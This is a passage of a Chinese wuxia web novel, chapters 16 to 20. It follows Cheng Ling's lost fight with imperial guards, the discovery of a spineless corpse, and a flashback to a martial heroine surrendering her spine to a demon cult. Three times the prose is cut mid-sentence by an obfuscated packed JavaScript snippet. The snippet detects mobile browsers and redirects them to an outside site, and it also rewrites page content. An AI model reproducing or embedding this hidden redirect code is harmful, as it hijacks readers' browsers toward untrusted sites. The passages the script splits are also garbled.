程灵充耳不闻,起身顺手接回脱臼的左肩,面前又一人跨步上前,大喝一声“老子来会会你!”,随即以腰为轴,枪身大开大合横扫而来。她仰面下腰避开,用手肘作支撑,抬脚踢到枪尖,用力向上一挑。那人手腕受力反折,不由松手,枪身被高高挑起,在空中旋转几圈,竖直着插在了地上。 不容一刻喘息,下一枪又自侧面劈砍而来。对方看中了她受过伤的左肩,用尽全身力气重重下劈,枪身似携万钧之力,程灵躲闪不及,只能拔刀硬接。 刀枪相撞,铮然一声巨响! 那金翎卫见程灵竟然架住了他的枪,显然有些意外。但他很快回神,顺势将枪头向前一点。程灵翻转手腕,用刀身弹开枪头,一刀划向他脖颈,对方向后一躲,忽然出人意料地反手提起枪尾,在程灵右肩狠狠一砸。 她右肩一阵剧痛炸开,不由露了破绽。对方似乎很是遗憾,摇头“啧”了一声:“还想看你再表演一次卸肩膀来着。” 求生之举,却被他轻率地称作“表演”。程灵捂着肩头咬牙,抬眼瞪向他。他越发觉得有趣:“哎呦,丫头,生气了?” 周围倚着枪看热闹的金翎卫发出阵阵哄笑。他们也不出手,斗蛐蛐似的对着场内指指点点。 “你们说,她能撑下老张几招?” “怕是一招都撑不住喽!” “这谁家跑出来的小丫头?偷东西偷到咱们身上,这不是找死吗?” “玩够了就杀了吧。别一会儿把那个姓肖的引来,又要挨一顿教训。” “嘿,说起他就烦,一个武林贼客凭什么能进金翎卫,还一来就成了咱们的头儿!他说他是世子,我还说我是皇子呢!” 说话间,已有一杆杆长枪纷纷从四面八方攻来,程灵觉得自己若是继续硬扛,迟早会被戳成筛子。于是她趁机踩到一杆枪头之上借力起跳,努力伸直手臂,一把抓到了檐角下悬挂的铜铃铛。 铃铛叮铃作响,程灵体轻,顺着那根细线攀上了屋顶,总算不用腹背受敌,她这才松了一口气。 果然,像李青筠那等人物口中的“功夫一般”根本就不能尽信。亲身对敌,她才知道金翎卫并非绣花枕头,反而个个都是经过苦训、千里挑一的精锐。 方才这群人并没有真刀真枪地与她对战,程灵能感觉出来,他们像是百无聊赖时终于找到了乐子,像斗蛐蛐一样戏耍她,见这只小蛐蛐跑了也懒得去追。 踩着屋脊逃走时,她忍不住回头看了一眼。院子里乌泱泱一群金翎卫正指着她大肆笑骂,说她是个不自量力的小毛贼,打不过就夹着尾巴灰溜溜逃跑。 17.第 17 章 程灵踏着屋顶飞身离开郡衙,确定身后没人,才折返回到大牢。 门口有人半躺在台阶上,走近一看,原来是李青筠在等她。见程灵捂着肩膀,浑身狼狈不堪,李青筠连忙跳起来,“呸”地吐掉嘴里叼的狗尾巴草。 “我的姑奶奶啊,这是怎么了?我在牢里都能听见外面的动静,就赶紧出来等你了。”李青筠问,“和金翎卫打起来了?受伤没有?” 打量了一圈,李青筠见她身上衣服东破一块西破一块,额角有血,后背有擦伤,右肩肿得厉害,左肩应该是脱臼后又接了回去,还没接利索。 她扒开程灵的手,轻轻捏了捏她的肩骨,还好骨头没事,随后顺手帮她接好左肩,免得落下病根。 这时,李青筠才注意到程灵一直低着头不说话。她俯下身,抬起程灵的下巴,问道:“怎么了?” 那双向来清亮、像潭水一样波澜不惊的眼睛此刻微微泛红,程灵死死咬着下唇,低声说:“前辈,我输了。” 这是她此生第一次正式与人对战,却被打得毫无还手之力,只能落荒而逃。 从前在天姥山上,她与师傅对练时虽然从来没有赢过,但师傅会说她“不错”,程奚与小玉都对她万分崇拜,似乎她只要微微出手就能夺得武林第一的名号。程灵面上不显,其实心里是很骄傲的,有时甚至会幼稚地想象自己初出茅庐就一鸣惊人的场景。 但事实证明,天下高手如过江之鲫,她只不过是江河湖海中一条小小鱼苗,连武林公认武功一般的金翎卫都打不过。 她的刀,只是“不错”,称不上“很好”。 李青筠看清了她眼中的失落,开口说道:“你才十四,未来还长。那些人只不过是几块拦路的石头,不值一提。将来横在你面前的,是一座又一座高不可攀的山。你会因此止步不前吗?” 程灵摇头:“不会。” “那就别把一两次的输赢放在心上。”李青筠道,“日后你会输得更多、更惨,命悬一线,甚至众叛亲离。而你唯一要做的,是找到自己的‘道”。” “你为什么想赢?为了金钱、权力,还是脸面?为了杀人,为了救人,为了求生?这个问题的答案,就是你的‘道’。” “我是为了——” 程灵想了想,忽然发觉自己并不知道为什么而赢。 “……我不知道。” “在你这个年纪,我也想不明白。”李青筠说,“不要听你师傅的话,只会埋头练刀,你的答案要去这世间万物之中找寻。” 她觉得自己应该听懂了,但好像又什么都不懂,茫然地点点头。李青筠一笑,摸了摸她的发顶,“在想什么?” “我在想……”程灵抬起眼,认真地看向她,“那些‘高山’中,会有你吗?” 李青筠怔住,旋即笑着摆了摆手。 “我?我不过是个早该死了的人,怎敢妄称高山。你若想打,武林中多的是对手,看中了哪个,我帮你引荐就是。” 程灵说:“但我只想赢过你。” 这话听上去实在不知天高地厚,但程灵自幼时武威山盟会与李青筠打过一场后,就将她与她的剑法铭刻于心。六年来,程灵日夜苦练,连做梦都在揣摩如何应对李青筠的每一剑,直到这一次盟会,她以为自己终于能与李青筠一战,却亲眼看到了她被一刀穿心而死。 在那一刻,程灵甚至有些动摇。她愣愣地看着比武台上一片狼籍,又低头看了看自己手里的刀,心想,她的刀是为谁而练? 为了李青筠。 可是李青筠死了。 后来她为了帮程奚摆脱嫌疑,将太守府上的账册与匕首送去大牢。牢中除了朴七、程奚,还有一个面容陌生的女子。 那个女子斜斜倚在墙上,身披薄衫,头发散乱,看上去有些清减。她与人谈笑着,脸上的笑意却很浅。 在与对方目光相撞的一瞬间,程灵心中忽然有一个声音告诉她:这就是李青筠。 活着的、卸去所有矫饰的李青筠。 她手中的刀似乎重新有了意义。 “只想赢我?这么争强好胜……哈,罢了。”李青筠失笑,无奈地摇了摇头,“待你何时报了今日之仇,我就与你打上一场,如何?” 程灵的双眼一亮,倏地褪去了茫然,只有欣喜:“前辈,一言为定!” “这就开心了?”李青筠逗她。 她表现得这么明显吗? 程灵有些不好意思,抿着唇点点头,低低“嗯”了一声。 “好了,回去吧。”李青筠揽过她的肩,领着人回大牢里去,“与我们说说发现了什么?” “我看了太守的尸身,发现他的后背还有一处很长的刀伤,流了许多血。那些金翎卫都睡在仵作间,守在尸身旁,他们定然也发现了太守之死另有蹊跷,但不知为何要隐瞒。” 朴七听罢,冷笑一声:“还能为了什么?就是想咬死我俩不放,打算稀里糊涂结案呗。” 程奚掐着手指算了算时间:“完了完了,今天天一亮就要再审,要是不招会不会给我们上刑啊?” 李青筠说:“安心啦,实在不行就劫狱,总不会让你不明不白死了。” “可是跑了之后被金翎卫到处追杀怎么办?上了悬赏榜怎么办?”程奚欲哭无泪,“朴帮主武功高强,可我只是个手无缚鸡之力的废柴,岂不是得一辈子背着罪名躲躲藏藏?” “那你干脆一辈子跟着朴帮主给她当小弟,整个丐帮都会罩着你。”李青筠笑得没心没肺,“朴帮主要是不收,你就来跟我,咱俩一起上街要饭去。“ 程灵也给她哥出主意:“回到天姥山也好,没人会来抓你。” “难不成我下半辈子就蹲在山里当猴子?!” 朴七也抱臂笑道:“猴子还是乞丐,你总要选一个。” 程奚哪个都不想当,他还是想再垂死挣扎一下:“……不如我们来讨论一下真凶到底是不是金翎卫吧,哈哈。” 朴七终于正色问道:“你说太守后背被砍了一刀,那伤处是什么样子还记得吗?” “当时屋里很暗,我只能用手摸索。”程灵仔细回忆当时的细节,“那道伤口从脖颈到尾椎,竖直着划开了尸身的后背。” 李青筠瞳孔骤缩,猛地站起身来。她一改先前漫不经心的态度,快步流星走到程灵面前追问道:“你确定没看错?” 见程灵点头,她与朴七对视了一眼,眼中翻涌起复杂的情绪。 “伤口的边缘很利落,应该是一刀而就,刀刃锋利,力道很重,深可见——” 她想说“深可见骨”,但是话到口边,突然顿住。 骨? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383486|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她似乎,并没有摸到尸身的脊骨。 几乎是同一时间,李青筠开口问道:“他的脊骨还在吗?” 程灵当时觉得是太守身体肥胖,背上肉厚,所以她才没能摸到骨头。但现在想来,那具尸体身上恐怕根本就没有脊骨! 无需听到回答,程灵的神情已经说明了一切。李青筠面色一沉,扯起一边唇角:“哈,白蛇、白蛇,原来是这种东西!” 朴七说:“所以太守账册里的‘白蛇’,实则是指人的脊骨?他既然买卖这种东西,为何自己又会被取骨而死?” 程灵从来没见过李青筠这副神情,她似乎被触到了最深的逆鳞,整个人浑身的刺都竖了起来,不分青红皂白地指向所有人。 “我也想知道!”她狠狠一拳砸在墙上,愤怒地低吼,“这里是幽州,他们怎么敢在我眼皮子底下买卖这种东西?他们怎么敢?!” 程灵有些无措地看向朴七,以为是自己说错了话。朴七朝她安抚地摇了摇头,用口型道:“别管她。” “截天教的那些人不是已经杀光了吗?!难道还有漏网之鱼?到底是谁想让那种邪法重新现世?!”李青筠焦躁地在牢房中来回踱步,忽然抬手抽出程灵腰侧的刀,咬着牙恨声道,“这事与金翎卫脱不了干系!我挨个问过去,不信他们不说!!” 朴七冲上前,一把夺回她手里的刀:“李青筠你疯了?!看不出来吗,背后的人目的就是要你与金翎卫起冲突!” “那我就顺了他的意!”李青筠说,“朴七,把刀给我。你不是要同我杀光金翎卫,再杀去京都吗?我们这就动手!” 二人争执起来,程奚趁乱凑到程灵身边,低声问:“妹,我没听错吧,这事和魔教有关?” 程灵眉头紧锁地看着那边,说:“我也不知。但如果‘白蛇’真的是指人的脊骨,那恐怕真的是魔教余孽在试图重现邪法、炼制魔剑。” “你要说起魔教余孽……”程奚嗓音发颤,指了指自己,又指了指程灵,“咱俩不就是吗……?” 他继续小心翼翼道:“看起来李青筠好像与截天教有什么深仇大恨,万一她知道了咱俩的身世,会不会顺手把咱俩杀了报仇啊?” 程灵瞥了他一眼,坚定地说:“她不会。” “你看她这像是不会的样子吗!”程奚瑟瑟发抖,恨不得找个老鼠洞藏起来,“要不咱俩趁乱溜吧,就算回山里当猴子我也认了。” 程灵懒得理他,继续看向李青筠与朴七。她们二人已经动起手来,不过很快,朴七用剑柄在李青筠胸口上的伤一撞,李青筠吃痛,闷哼一声,总算安静下来。 “冷静了?”朴七将刀扔还给她,但她一侧身没有去接,刀“咣当”一声掉在地上。 随后,她一言不发,转身就朝大牢外离去。 程灵追了几步,回头看向朴七:“朴帮主,前辈她——” “她有分寸,放心吧。”朴七坐到桌上,向着李青筠的背影啐了一口,“狗东西,多少年了,还是一提到这事就发神经!” 程奚缩头缩脑地蹭过来打探:“朴帮主,到底是什么事啊?我们能听吗?听了不会掉脑袋吧?” “一点陈芝麻烂谷子,其实大多人都已经忘了。”朴七提起脚边的酒坛,仰头灌了一口,“就算记得,也不想提起,毕竟不是什么光彩的事。” 18.第 18 章 李青筠觉得自己要完蛋了。 她就不该一时冲动跑来刺杀截天教教主,要不然现在也不会被人五花大绑捆在柱子上动弹不得。 “护法大人,我才十岁,怎么可能是刺客呢?”她委屈巴巴地求饶,“我在和朋友玩捉迷藏,不小心才跑到这里来的。姐姐你放了我吧,呜呜呜,我娘还在等我回家吃饭。” 截天教左护法踢了踢地上的剑,挑眉道:“捉迷藏,跑来截天教地盘,还带着剑?” 李青筠厚着脸皮,小鸡啄米似的点头:“嗯嗯嗯,就是捉迷藏而已。” 左护法道:“你当我是傻的?——还有,别哼哼唧唧,我最讨厌小孩!” “那姐姐帮我解开绳子,我立马就从你眼里消失。” “消失了,然后呢?”左护法踹了她小腿一脚,“再放你去刺杀我们教主?哼,要不是我发现得早,险些让你坏了事。” 李青筠被这一脚踹疼了,索性不再装无辜,怒气冲冲地朝她龇牙:“你等着,我大师姐马上就要来救我!她可是天下无敌,一定会把你打得满地找牙!” “我好怕啊。”左护法又踹了她一脚,看这小屁孩像条愤怒的虫子一样在柱子上扭动,笑得越发厉害,“你师姐哪位?快叫她来与我比划比划。” 一提起她大师姐,李青筠当即腿也不疼了气也不生了,一仰脑袋,骄傲道:“我大师姐就是当今武林第一,人称‘红缨白马’的——” “是她?!” 左护法陡然打断了她的话,一把攥住她衣襟:“你是月下飞天镜的人?” 李青筠被她吓了一跳,愣愣地说:是、是啊……怎么,怕了吧!” 她甩开李青筠,退了两步,冷冷笑道:“你最好祈祷她不要来这里,否则——” “否则如何?”李青筠梗着脖子与她叫嚣,“以我大师姐的武功,一人一枪荡平截天教不在话下!” 左护法没有理会,只是将面前的小孩上下打量了一遍,似乎犹觉不够,伸手细细地捏李青筠的肩、脊骨、胳膊、腿,下手很重,把她捏得浑身泛痛。 “果然是好根骨……”左护法喃喃道,“原来只有这样才算天赋异禀,才能入她的眼吗?” “喂,你要打就打,忽然夸我干嘛?嘶——” 那只手忽然狠狠掐住了李青筠的肩骨,以一种几乎要掐碎骨头的力道。 “凭什么根骨生来注定?凭什么我不是天才?凭什么要看不起我?” 她像是魔怔了一样,冲着李青筠问,“凭什么?凭什么?!” 李青筠快被她掐死了,心里大喊:我怎么知道凭什么! 好在这时外面有一个书生模样的年轻男子推门进来,叫住了她:“逐鹿,别管这个小贼了,快去杀伐殿!” 左护法吐出一口浊气,情绪平静下来,皱眉问道:“教主有何吩咐?” “有人来了。”男子看了李青筠一眼,压低声音,“是月下飞天镜。” 左护法松开李青筠,与那个年轻男子一道匆匆离去。李青筠方才听见他说“月下飞天镜”,心中大喜,料想一定是自家大师姐赶来救驾,连忙歪着脑袋努力去啃捆在肩上的麻绳。 幸亏她有一口好牙,啃了半天肩头终于一松,李青筠奋力挣扎,累得满头是汗,总算从柱子上挣脱出来。她捡起剑,兴冲冲地寻着二人方才离开的方向而去,打算等大师姐大杀四方的时候出一份力。 杀伐殿金碧辉煌,不像魔窟,简直像京都皇族住的宫殿。李青筠躲在殿门外悄悄探出一颗脑袋,果然看见她大师姐的背影。 不知为何,大师姐没有拿她那杆红缨枪,也没牵那匹名为“且慢”的白马。她背对着李青筠站在大殿中,正与殿前坐着的截天教教主说着什么。 难不成是要和谐商议,好救她回去? 李青筠心中急切,认为大师姐既然人在此处,现在就是荡平魔教的最好时机。她正想牙一咬心一横冲进去宣战,却忽然被人从身后捂住了嘴。 “安静,闭嘴。”左护法的声音从她耳边传来,“我带你去见你的好师姐。” 李青筠能乖乖听话那才见鬼,她有靠山在此,正是天不怕地不怕的时候,一张嘴就要大喊。左护法动作比她更快,在她哑穴一点,李青筠顿时半点声音也发不出来。 左护法捆住她的手,就这样将人提着走进大殿。听见有人来,大师姐的声音一顿,回头看了一眼,瞳孔骤缩。 “青筠,你怎么在此?!” 李青筠挣脱不开,拼命朝她师姐摇头晃脑。但不知为何,大师姐只是在原地怔怔地看着她,并不上前解救。 “怎么不说了?”教主根本没把这个小屁孩放在眼里,悠悠道,“继续啊。” “……把她放了。”大师姐说。 教主没骨头似的斜靠在座上,指尖一圈一圈绕着发丝,笑着说:“既然来了,就一起听着吧。” 左护法抓着李青筠,默不作声地侍立在教主身侧。李青筠这时才发现,大师姐身穿一袭从来没有穿过的黑衣,手里捧着一只盒子,静静地与她对视着。 压抑、痛苦、屈辱——这些她从来没有在大师姐身上看到过的情绪,此刻却一一呈现在那双眼底,一览无余。 李青筠心中忽然没由来地一阵恐惧。 大师姐……她要做什么? “好好看着。”左护法掐着她的下巴,将她的脸牢牢固定,“看你的大师姐是如何屈膝求和的。” 教主等了许久,有些不耐烦:“继续说啊!” 大师姐移开目光,垂下头,说:“武林愿献此物,以求三年太平。” “哦?”教主明知故问,“让我看看,你们要献什么?” 另一护法从大师姐手中将盒子接过。那木盒约有三尺,恰好是一柄剑的长度,但不知为何,李青筠看见盒底一片暗红,像是浸满了血。 教主拿过木盒,动作不紧不慢地将盖子打开,像是故意要让身后的李青筠看清楚里面装了什么。 ——一条血淋淋的、惨白的脊骨。 他眼中的狂喜一闪而过,随即按耐情绪,清了清嗓子:“咳咳,这是何物?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392123|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大师姐闭了闭眼,说:“你要的,天生剑骨。” 魔教以人的脊骨炼剑,执剑者因此能够功力大涨、所向披靡。而传闻世间有人身负天生剑骨,无需炼制就是一柄绝世好剑。 “从何处寻来?”教主又问。 他分明知道答案,但双眼还是死死盯着大师姐,似乎很想听到这句话从这个人口中亲自说出。 “自我身上取出。” 教主终于笑了:“原来如此,多谢割爱。区区三年止战,怎么比得上这无价的剑骨?本尊应了就是。” 身后传来一阵不小的动静,教主像是终于想起这里还捆着个小屁孩,头也不回地一摆手:“逐鹿,送客。” 左护法动作粗暴地拽起李青筠,她拼命挣扎着,目眦欲裂地瞪着教主以及他手中的那根剑骨,大张着嘴却发不出一点声音,眼泪鼻涕糊了一脸,实在狼狈。 左护法“啧”了一声,有些嫌弃,干脆将李青筠踹倒在地,拽着她的手腕一路拖行。走到大师姐身边时,她似笑非笑地一伸手:“大师姐,请。” 大师姐回头看了李青筠一眼,小孩子脸上愤恨、不解的神色像是一根刺扎入她的喉咙,她张了张口,似乎也被点了哑穴一样,说不出一句话来。 她只能垂下头,跟在左护法的身后,极慢地、一步一步走出了杀伐殿。 “后悔吗?”左护法问。 大师姐没有说话。 “为了区区三年和平,毁掉自己的一辈子,值得吗?” 她依然沉默不语。 左护法像是被她的沉默彻底触怒,她扔开李青筠,一把掐住大师姐的脖颈,压低声音怒吼:“我明明向贺岳峙传了信!我给过你们机会!为什么?为什么不开战?为什么要委曲求全?!我说过会与你们里应外合杀了教主!你们不信我?” “这是……咳咳,这是盟会的决定。” “贺岳峙让你剔骨你就剔?!你为什么不反抗?你不是很强吗?你不是号称天下第一吗?!” 她忽地冷笑,羞辱性地拍了拍大师姐的侧脸:“当年你多威风啊,大师姐。高高在上一句‘根骨一般’就打发了我,让我只能在月下飞天镜当个外门生!可如今呢,我已经是截天教的护法,你却成了一个废人!” 大师姐被她打得偏过头去,咳了一口血。 左护法看着她半死不活的模样,皱眉问:“没了脊骨,你怎么活?” “谯城华家的人为我剔骨,随后填了一条蛇骨作充。”大师姐说,“放心,暂且死不了。” “你死了我才放心。”左护法冷冷道。 大师姐低咳了几声:“咳咳,你若愿意,听我一句劝。接下来的几年为自己留好退路,武林与魔教终有一战,你要顾惜己身。” 她身负剔骨重伤,语速极慢,几乎是一个字一个字地吐出来。 “我很感谢,你虽身在魔教,却仍然愿为了武林安危冒险传信,将教主的筹谋告知盟会。”大师姐轻轻叹了一口气,“是我们辜负了你。” “滚吧。”左护法说,“滚。” 19.第 19 章 李青筠将自己关在房中,足足十天没有出门。 她怎么想也想不明白,大师姐为什么要主动献出剑骨,武林盟会为什么要向魔教求和五年。 明明那么多人都愿意拼死一战。为什么不打?到底是为什么? 随后,她得出一个结论:大师姐一定是被迫的。 剔骨那日,李青筠已经悄悄离山前往截天教,她并不知山中发生了什么。于是十天之后,她终于推开了房间的门,第一件事,去找师兄肖青凛。 她与肖青凛都是由大师姐一手带大,虽无血缘关系却胜似兄妹。李青筠冲到他房前,一抬脚踹开门,还没看见人就大声问:“肖青凛,你告诉我,是不是有人强迫大师姐!” 然而屋里不止肖青凛一人,他恭恭敬敬立在一侧,另一人坐着似乎在与他吩咐什么。两人被李青筠的动静惊动,齐齐看向她。 坐着的人是她们的师傅,武林盟主贺岳峙。贺岳峙向来不喜欢这个年纪最小的亲传门生,皱起眉斥她:“横冲直撞,像什么样子!” 李青筠也是个毫不尊师重道的刺头,把腰一叉顶撞道:“我来找我师兄,关你什么事?” 肖青凛额角简直要冒出冷汗:“青筠,快向师傅认错!——师傅,她年纪还小不懂事,您别生气。” 贺岳峙一把年纪,还不至于与一个十岁的孩子一般见识。他继续对肖青凛说:“好生照顾你师姐,她虽然武功尽失,但永远是月下飞天镜的人。我打算让她伤势稳定后住去后山,那里清净,伤也能好得快些。” 李青筠插嘴:“可是大师姐最喜欢热闹!” 他无视李青筠:“……若她需要什么药材、用具,尽管支取。后山有一座草堂,青凛,你带人去打扫。” 李青筠说:“那座草堂都塌了!” “……你们师姐为武林牺牲良多,唉,也是我对不住她。近些年武林青黄不接,所以盟会才想换五年和平,好养精蓄锐,将来一举歼灭魔教。” 李青筠说:“你当魔教都是傻子?我们知道养精蓄锐,他们就不会厉兵秣马吗?更何况你们还主动把剑骨送到教主手里,这岂不是自寻死路!” 贺岳峙终于忍不住了,转头吼她:“闭嘴!给我滚出去!” “我不!大师姐不可能主动求和,一定是你逼她的!你以为我——” 他鲜少对自己的门生动手,但这次是真的忍无可忍,于是一把揪起李青筠的衣领,用力将她扔出门外。 “师傅!”肖青凛都来不及阻拦,朝门外看了一眼,见李青筠生龙活虎一骨碌爬起来,才松了一口气,“师傅息怒,您方才说的我都记下了,我一定好好照料大师姐。” 贺岳峙吐出一口气,起身准备离开:“为了武林安定,此事不要外传,也不要让任何外人见她。” 肖青凛心中有些苦涩,面上却只能恭恭敬敬地俯首:“是,师傅。” 贺岳峙前脚刚走,李青筠就一头扎进屋里,逮住肖青凛问:“他还和你说了什么?凭什么不让外人见大师姐?那天山上到底发生了什么事?大师姐是被那群人强迫取骨的对不对?” 她一口气问了一连串问题,肖青凛却一个也答不上来。他说:“抱歉,青筠,我不能告诉你。” “为什么?!大师姐都伤成那样了,还有什么不能说的!”李青筠又急又怒,“还有,为什么要她亲自去截天教?贺岳峙要求和,他自己怎么不去魔教跪着磕头?凭什么一个个都躲在我师姐身后坐享其成?!” “青筠!” 肖青凛连忙捂住她的嘴,见师傅的身影渐行渐远,才放开了她:“先别说了。走吧,我带你去看看大师姐。” 谁知李青筠神色一变,扭头道:“我不去。” “还在生师姐的气吗?”肖青凛叹息,“求和毕竟不是她一个人的决定,你实在不应该这样任性。” 李青筠抿了抿唇,不说话。 别人都这样以为也好,至少只会觉得是她年纪小不懂事,而不是猜测那天在魔教发生了什么。 在这十天里,李青筠整夜翻来覆去睡不着。她好几次都想冲出门去,看看师姐还好不好,但是在碰到门闩的那一刻,她又忽然想,如果她与师姐见面,师姐会不会记起自己在她这个小辈面前受了那样的屈辱? 大师姐分明是那么骄傲一个人,红衣白马、飒沓流星,那天却只能穿着一身黑衣遮掩伤口渗出的血,亲手将自己的脊骨献给敌人。 所以大师姐一定不想见她。 “真的不去吗?”肖青凛劝她,“大师姐她很想见你,这几日不能下床,但她一直在问你好不好。” “真的吗?她愿意见我?” 肖青凛说:“当然。” 李青筠眼眶一酸,但她死死咬着牙把眼泪憋了回去。 “好,我去。” 她们一同去往大师姐的居所。这条路李青筠走过千万遍,但从来没有哪一次像今天这样心情复杂。 走到近前时,她看到门虚掩着,脚步一停,心中忽然油然而生一种近乡情怯之感。 肖青凛不知她的心思,还以为临到头她又在闹别扭,无奈道:“青筠,大师姐等你许久了,快进来吧。” 说着,他推开了门。然而床榻之上空无一人,李青筠心中居然松了一口气。 看来大师姐暂时出去了。 很快李青筠反应过来:“不对!她不是不能下床吗?” 二个人急得冲进屋里翻箱倒柜找了一通,没发现大师姐半点踪迹。正商量着打算跑去主峰敲钟示警,九师姐白青螺背着她的弯月大弓,在外面敲了敲窗框。 “喂,两个小贼,偷东西呢?” “九师姐!”李青筠扒到窗户上,急得快要哭出来,“你快去主峰敲钟,大师姐不见了!” “别急,方才路上我还见她了。”白青螺摸摸她脑袋,“小青筠,你终于舍得出门了。这么不巧,大师姐去找你了。” 李青筠闻言门都来不及走,就着窗台一骨碌翻出去撒腿就往回跑。白青螺看着她的背影,对肖青凛说:“师弟,你看着她点儿,别让她向大师姐问东问西。” 肖青凛点点头,起身去追。 回到自己屋前,李青筠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395499|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远就看见门外站着一个人。她似乎没办法久站,靠在紧闭的门上,对屋里说着什么,原本高挑的背影现在看上去竟有些形销骨立,仿佛一阵风就能吹倒。 李青筠把眼泪咽回肚子里,大喊了一声:“师姐!” 大师姐一愣,动作迟缓地转过身来,看见李青筠,神色意外又觉得好笑:“你什么时候跑出来了?我还以为你在屋里,白说了这么久的话。” 李青筠怕她支撑不住,连忙踢开门把人扶进屋里:“师姐你坐——哦不对,你躺下?或者你趴着?” 她不知道怎样才能让大师姐好受一点,手忙脚乱半天,大师姐说:“行了,别忙活了,我站着就好。” “那怎么行!”李青筠不赞成。 大师姐说:“站着说话不腰疼,没听过这句俗话?” 也有道理。于是李青筠赞成了。 “手腕好点没?”大师姐问。 手腕的伤是先前被左护法在地上拖行留下的,李青筠没想到她会主动提起那天的事,不自在地转了转手腕,说:“早就好了。” “我还没问你,你怎么一个人跑去了截天教?” 李青筠摸摸鼻子,含糊答道:“就是……想去看看。” “幸好抓到你的是那个左护法。”大师姐说,“换做别人,你现在早没命在了。” 提起那个左护法,李青筠就恨得牙痒痒:“她?先前要不是她告诉魔教教主你身负剑骨,哪来这些事?!她就是个两面三刀的小人!我总有一天要把她——” “好了,青筠。”大师姐一把捏住她的嘴,不让她继续说下去,“人心都是复杂的,那么多是非黑白,怎能分得清楚。” 李青筠一扭头躲开她的手:“那不说她,还有师傅。是不是他和盟会里那些老东西非要你剔骨?我记得你以前总说要亲手铲除魔教,又怎么可能同意求和?师姐你别怕,你告诉我,都有谁威胁你?我去替你报仇!” 大师姐看着她,良久,叹了口气道:“没有人威胁我,我是自愿的。” “不可能!我不信!”李青筠跳起来,“我听那个左护法说是谯城华家为你剔骨,是不是这些人下了药让你无力反抗?” “又或者是那个脖子上挂着蛇的老东西?我听说过她,她原本是魔教中人,来咱们山上肯定不怀好意!” 她乱七八糟猜了一通,逮着谁就说谁,把之前在山里见到的外人骂了个遍。这还没完,又掰着指头数落武林盟会里那些长老,好像全天下的人都想害她大师姐。 “舍一人救天下,这根本就不是在救人,而是在杀人!”李青筠拍桌大怒,“什么狗屁盟会,狗屁正派!魔教算什么威胁,武林迟早要栽在自己人手里!” 大师姐面色一沉,警告她:“自己想想就罢了,这些话以后不要再说出口。” 李青筠看着她,忽然沉默了。 她想问,可是师姐,这些不都是你说过的话吗? 你曾经在师傅面前肆无忌惮地说过更多惊世骇俗的话,难道你都忘了吗? 一个人怎么会变得这么快,这么彻底呢。 20.第 20 章 伤势渐好之后,大师姐搬去了后山草堂。月下十九峰的后山重岩叠嶂,随处可见素湍绿潭,很是幽静,的确适合养伤。 少有门生会到后山去,那里杂草丛生,说不定会有什么毒蛇猛兽。更何况有时间去探险,还不如多练几套刀法剑法,好应付每季一次的门派考核。 像李青筠她们这些“青”字辈的峰主亲传门生也不能例外,贺岳峙亲自监督、亲自查考,他擅长用剑,所以对同样学剑的李青筠极为严苛,每次考核都要将她打得鼻青脸肿才作罢。 大概是因为李青筠不久前又顶撞了他,贺岳峙这次下手越发不留情面。当着几百内外门生的面,他一剑抽翻李青筠,却偏偏将力道控制在她会痛,但是还能强忍着爬起来的程度,一次又一次要求她“再来”。 李青筠也是个犟种,只要贺岳峙喊了“再来”,她就算断胳膊断腿也要从地上爬起来,重新握紧她的剑。 “再来!” 贺岳峙重新摆好了起手式,看着地上的少年站起身来。下一瞬,眼前寒光一闪,李青筠已经提剑旋身杀来。 他一侧身躲过攻势,同时右手抬剑,朝对方腰间劈砍。贺岳峙知道自己用了多大力道,若是被这一剑砍中,效果无异于腰斩。 不过他的担心显然是多余的,李青筠的反应速度甚至比之前更快。他横剑一挡,只听见兵刃相撞的“呛”一声清响。 一呼一吸间两招已经过完,剑身仍在微微震颤。二人逼得很近,贺岳峙能看到少年脸上的淤青。他这才发现,李青筠这几年如同青竹抽条一般长得飞快,眼前这个最年幼的亲传门生,他已经觉得有些陌生了。 李青筠察觉师傅走神,轻叱一声“小心了!”,剑刃迎面而来,贺岳峙退半步反手招架,谁料双手握剑的李青筠忽然松开一手,转腕攻他脉门卸力。 贺岳峙索性放手,在剑即将落地时又提脚踢在剑柄上,使了个巧劲,剑身飞转着腾空而起。李青筠看他露了空门,收手提剑前刺,他一个后仰躲过,顺手接了凌空落下的剑,腰身用力侧向打了个滚。 “铛”的一声,李青筠的剑几乎是砸落在他方才停留的地方,力气很重,入地三分,激起一片土屑。 显然,她也在毫不留情地把自己师傅往死里砍。 